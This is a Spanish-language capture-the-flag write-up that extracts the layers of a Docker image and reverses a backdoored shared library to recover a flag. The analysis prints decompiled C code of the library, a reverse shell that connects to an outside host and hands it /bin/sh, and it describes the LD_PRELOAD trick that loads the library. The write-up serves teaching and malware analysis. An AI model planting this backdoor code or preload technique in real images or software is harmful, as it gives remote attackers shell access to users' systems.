Peel Back The Layers
4 minutos de lectura
Tenemos esta descripción del reto:
A well known hacker rival of ours, managed to gain access to our dockehub profile and insert a backdoor to one of our public docker images in order to distribute his malware and fullfil his soul purpose, which is to destroy our steampunk robot using his steam malware. When we started tracing him back he deleted his backdoor. Can you help us retrieve his backdoor? Docker Image:
steammaintainer/gearrepairimage
Inspección de imagen de Docker
La imagen de Docker está disponible en dockerhub:
Aquí podemos ver que hay algunas capas con diferentes comandos, variables de entorno y archivos:
Este reto me recordó a una parte de la máquina Bolt. Probablemente necesitaremos descargar la imagen Docker e inspeccionar sus capas. Empecemos:
$ docker pull steammaintainer/gearrepairimage:latest
latest: Pulling from steammaintainer/gearrepairimage
7b1a6ab2e44d: Pull complete
858929a69ddb: Pull complete
97239c492e4d: Pull complete
Digest: sha256:10d7e659f8d2bc2abcc4ef52d6d7caf026d0881efcffe016e120a65b26a87e7b
Status: Downloaded newer image for steammaintainer/gearrepairimage:latest
docker.io/steammaintainer/gearrepairimage:latest
Ahora, necesitamos guardar la imagen en un archivo comprimido TAR:
$ docker image save steammaintainer/gearrepairimage -o image.tar
$ file image.tar
image.tar: POSIX tar archive
$ 7z l image.tar
7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,8 CPUs LE)
Scanning the drive for archives:
1 file, 75195392 bytes (72 MiB)
Listing archive: image.tar
--
Path = image.tar
Type = tar
Physical Size = 75195392
Headers Size = 8704
Code Page = UTF-8
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2021-11-12 22:41:23 D.... 0 0 06ec107a7c3909292f0730a926f0bf38071c4b930618cb2480e53584f4b60777
2021-11-12 22:41:23 ..... 3 512 06ec107a7c3909292f0730a926f0bf38071c4b930618cb2480e53584f4b60777/VERSION
2021-11-12 22:41:23 ..... 401 512 06ec107a7c3909292f0730a926f0bf38071c4b930618cb2480e53584f4b60777/json
2021-11-12 22:41:23 ..... 75155456 75155456 06ec107a7c3909292f0730a926f0bf38071c4b930618cb2480e53584f4b60777/layer.tar
2021-11-12 22:41:23 ..... 2763 3072 47f41629f1cfcaf8890339a7ffdf6414c0c1417cfa75481831c8710196627d5d.json
2021-11-12 22:41:23 D.... 0 0 7e418781d7dbe3c9982a8f00849d9494404dce6698e8ab6e82068f3f810212ca
2021-11-12 22:41:23 ..... 3 512 7e418781d7dbe3c9982a8f00849d9494404dce6698e8ab6e82068f3f810212ca/VERSION
2021-11-12 22:41:23 ..... 477 512 7e418781d7dbe3c9982a8f00849d9494404dce6698e8ab6e82068f3f810212ca/json
2021-11-12 22:41:23 ..... 20480 20480 7e418781d7dbe3c9982a8f00849d9494404dce6698e8ab6e82068f3f810212ca/layer.tar
2021-11-12 22:41:23 D.... 0 0 9a8e24973203d27297e31bb8932c0d9bdf962092790556f82b2affa1ad0ea102
2021-11-12 22:41:23 ..... 3 512 9a8e24973203d27297e31bb8932c0d9bdf962092790556f82b2affa1ad0ea102/VERSION
2021-11-12 22:41:23 ..... 1288 1536 9a8e24973203d27297e31bb8932c0d9bdf962092790556f82b2affa1ad0ea102/json
2021-11-12 22:41:23 ..... 2560 2560 9a8e24973203d27297e31bb8932c0d9bdf962092790556f82b2affa1ad0ea102/layer.tar
..... 381 512 manifest.json
..... 114 512 repositories
------------------- ----- ------------ ------------ ------------------------
2021-11-12 22:41:23 75183929 75186688 12 files, 3 folders
Análisis de capas
Si echamos un vistazo nuevamente a las capas, notaremos que solo tres de ellas tienen un tamaño diferente a 0 B (capas 1, 4 y 9).
Obsérvese que en la capa 9 se ejecuta rm -rf /usr/share/lib/
, que elimina todas las librerías compartidas (probablemente las maliciosas).
De hecho, la capa 4 copió un archivo a /usr/share/lib
y la capa 5 configuró LD_PRELOAD=/usr/share/lib/librs.so
. Esta variable de entorno anula cualquier librería compartida predeterminada. Por lo tanto, seguramente tendremos que analizar librs.so
.
Esta librería compartida debe almacenarse en la segunda capa:
$ 7z l 7e418781d7dbe3c9982a8f00849d9494404dce6698e8ab6e82068f3f810212ca/layer.tar
7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,8 CPUs LE)
Scanning the drive for archives:
1 file, 20480 bytes (20 KiB)
Listing archive: 7e418781d7dbe3c9982a8f00849d9494404dce6698e8ab6e82068f3f810212ca/layer.tar
--
Path = 7e418781d7dbe3c9982a8f00849d9494404dce6698e8ab6e82068f3f810212ca/layer.tar
Type = tar
Physical Size = 20480
Headers Size = 3584
Code Page = UTF-8
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2021-10-06 17:47:52 D.... 0 0 usr
2021-11-12 22:40:23 D.... 0 0 usr/share
2021-11-12 22:40:23 D.... 0 0 usr/share/lib
..... 0 0 usr/share/lib/.wh..wh..opq
2021-11-12 22:38:52 ..... 16440 16896 usr/share/lib/librs.so
------------------- ----- ------------ ------------ ------------------------
2021-11-12 22:40:23 16440 16896 2 files, 3 folders
Allí está (y también un archivo extraño llamado .wh..wh..opq
, que está vacío). Vamos a extraer todo:
$ tar xvf 7e418781d7dbe3c9982a8f00849d9494404dce6698e8ab6e82068f3f810212ca/layer.tar
x usr/
x usr/share/
x usr/share/lib/
x usr/share/lib/.wh..wh..opq
x usr/share/lib/librs.so
$ file usr/share/lib/.wh..wh..opq
usr/share/lib/.wh..wh..opq: empty
$ file usr/share/lib/librs.so
usr/share/lib/librs.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=b6e2da9852ab0b8f7aa409d6c5cf0f3c133b5ed7, not stripped
Análisis de librería compartida
Vamos a emplear Ghidra para analizar el binario (y esperemos que librs.so
no signifique que la librería compartida está compilada desde Rust…).
Afortunadamente, solo hay una función llamada con
:
int con() {
int iVar1;
char *port;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined local_40;
sockaddr local_38;
int socket_fd;
uint16_t local_1a;
char *host;
__pid_t local_c;
local_c = fork();
if (local_c == 0) {
host = getenv("REMOTE_ADDR");
port = getenv("REMOTE_PORT");
iVar1 = atoi(port);
local_1a = (uint16_t) iVar1;
local_68 = 0x33725f317b425448;
local_60 = 0x6b316c5f796c6c34;
local_58 = 0x706d343374735f33;
local_50 = 0x306230725f6b6e75;
local_48 = 0xd0a7d2121217374;
local_40 = 0;
local_38.sa_family = 2;
local_38.sa_data._2_4_ = inet_addr(host);
local_38.sa_data._0_2_ = htons(local_1a);
socket_fd = socket(2, 1, 0);
connect(socket_fd, &local_38, 0x10);
write(socket_fd, &local_68, 0x29);
dup2(socket_fd, 0);
dup2(socket_fd, 1);
dup2(socket_fd, 2);
execve("/bin/sh", NULL, NULL);
}
return 0;
}
El programa solo se conecta a una máquina remota y ejecuta una shell a través de un socket TCP. Además, la flag está ahí en números hexadecimales.
Flag
Usando pwntools
podemos decodificar los números para capturar la flag:
$ python3 -q
>>> from pwn import p64
>>> b''.join(map(p64, [0x33725f317b425448, 0x6b316c5f796c6c34, 0x706d343374735f33, 0x306230725f6b6e75, 0xd0a7d2121217374]))
b'HTB{1_r34lly_l1k3_st34mpunk_r0b0ts!!!}\n\r'